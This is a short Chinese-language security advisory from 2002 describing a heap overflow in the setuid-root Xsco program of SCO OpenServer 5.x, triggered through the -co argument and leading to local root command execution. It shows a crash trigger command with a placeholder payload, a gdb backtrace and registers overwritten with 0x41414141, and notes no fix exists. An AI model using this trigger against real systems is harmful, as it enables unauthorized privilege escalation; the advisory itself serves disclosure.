SCO OpenServer Xsco存在堆缓冲溢出发布时间:2002-06-13 更新时间:2002-06-13 严重程度:高 威胁程度:本地管理员权限 错误类型:边界检查错误 利用方式:服务器模式 受影响系统 SCO/Caldera OpenServer 5.x详细描述 SCO OpenServer Xsco应用程序默认以setuid root权限安装,其中提交给-co参数的数据缺少正确的检查,可导致堆溢出,使的写任意内存地址而以ROOT权限执行任意命令。 测试代码 bash-2.03$ ./Xsco :1 -co <b0f here> -crt /dev/console Tue Jun 11 10:32:59 2002 Couldn't open RGB_DB 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ... Segmentation Fault 0x8164073 in _grantpt () (gdb) bt #0 0x8164073 in _grantpt () #1 0x8164532 in malloc () #2 0x80027103 in _s_a_get () #3 0x81594bc in _ptsname () #4 0x8087526 in wctype () #5 0x8085e95 in wctype () #6 0x80745f4 in wctype () #7 0x804d69b in wctype () (gdb) i r eax 0x41414141 1094795585 ecx 0x495b38d4 1230715092 edx 0x0 0 ebx 0x18 24 esp 0x8045814 0x8045814 ebp 0x8045834 0x8045834 esi 0x41414140 1094795584 edi 0x819f794 135919508 eip 0x8164073 0x8164073 解决方案 尚无 相关信息 KF (dotslash@snosoft.com) 参考:http://archives.neohapsis.com/archives/bugtraq/2002-06/0081.html |